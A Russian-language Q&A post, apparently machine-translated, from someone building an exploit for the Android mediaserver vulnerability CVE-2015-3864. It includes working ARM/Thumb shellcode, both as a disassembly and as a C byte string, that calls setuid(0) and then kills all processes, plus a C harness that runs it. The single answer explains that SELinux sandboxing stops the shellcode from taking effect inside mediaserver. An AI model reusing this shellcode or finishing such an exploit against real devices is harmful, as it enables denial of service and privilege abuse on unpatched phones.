Запустить шелл-код в контексте медиа-сервера в Android
Я пишу эксплойт для уязвимости в медиасервере в Android(CVE-2015-3864). Целью является запуск шелл-кода с привилегиями root (например, уничтожение всех процессов). каждый шаг эксплойта работает должным образом, пока не достигнет кода оболочки (в это время шеллкод загружается в виртуальную память медиасервера и ему предоставляется разрешение rwx). Код оболочки выглядит следующим образом:
1) e28f3001 add r3, pc, #1 ; 0x1
2) e12fff13 bx r3
3) 1b24 subs r4, r4, r4
4) 1c20 adds r0, r4, #0
5) 2717 movs r7, #23
6) df01 svc 1
7) 1a92 subs r2, r2, r2
8) 1c10 adds r0, r2, #0
9) 3801 subs r0, #1
10) 2109 movs r1, #9
11) 2725 movs r7, #37
12) df01 svc 1
линии 1 и 2 - это переключение между режимом охраны и режимом большого пальца. в строках с 3 по 6 указывается setuid(0), а в строках с 7 по 12 уничтожаются все запущенные процессы.
Я отладил эксплойт с IDA и обнаружил, что шеллскрипт выполняется до строки 12 (все регистры имеют ожидаемые значения, которые определены в шеллкоде, например, r7 - 37).
МОЯ ОСОБЕННАЯ ПРОБЛЕМА: шеллкод не выполняется и не влияет на мое устройство.
для теста я пишу программу и запускаю шеллкод в виде указателя на функцию, как показано ниже:
`char *SC = "\x01\x30\x8f\xe2"
"\x13\xff\x2f\xe1"
"\x24\x1b\x20\x1c"
"\x17\x27\x01\xdf"
"\x92\x1a\x10\x1c"
"\x01\x38\x09\x21"
"\x25\x27\x01\xdf"`
`
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC))
(*(void(*)()) SC)()
return 0
}`
я скопировал этот двоичный файл в / sy stem / bin и предоставил точно такое же разрешение, как и у mediaserver. я запускаю бинарный файл с разрешением su и он работает! все процессы были убиты.
МОЙ СПЕЦИАЛЬНЫЙ ВОПРОС: Почему шеллкод не может быть выполнен в контексте медиасервера, но он может быть выполнен независимо?
Пожалуйста, помогите, я действительно застрял в этом состоянии! Если вопрос неясен, напишите мне, чтобы объяснить это больше.
заранее спасибо
1 ответ
Я думаю, что вам нужно повысить привилегию медиа-сервера (пользовательского носителя) для уничтожения всего процесса (тогда вам нужна еще одна уязвимость). Существует еще одна проблема, связанная с ограничениями в изолированной программной среде SELinux. Это означает, что процесс медиасервера при использовании libstagefright защищен политикой SELinux, а выполнение кода происходит в ограничительной изолированной программной среде. Другими словами, вы должны найти способ обхода SELinux, в презентации nccgroup вы можете найти более подробную информацию.
Смотрите также эту хорошую статью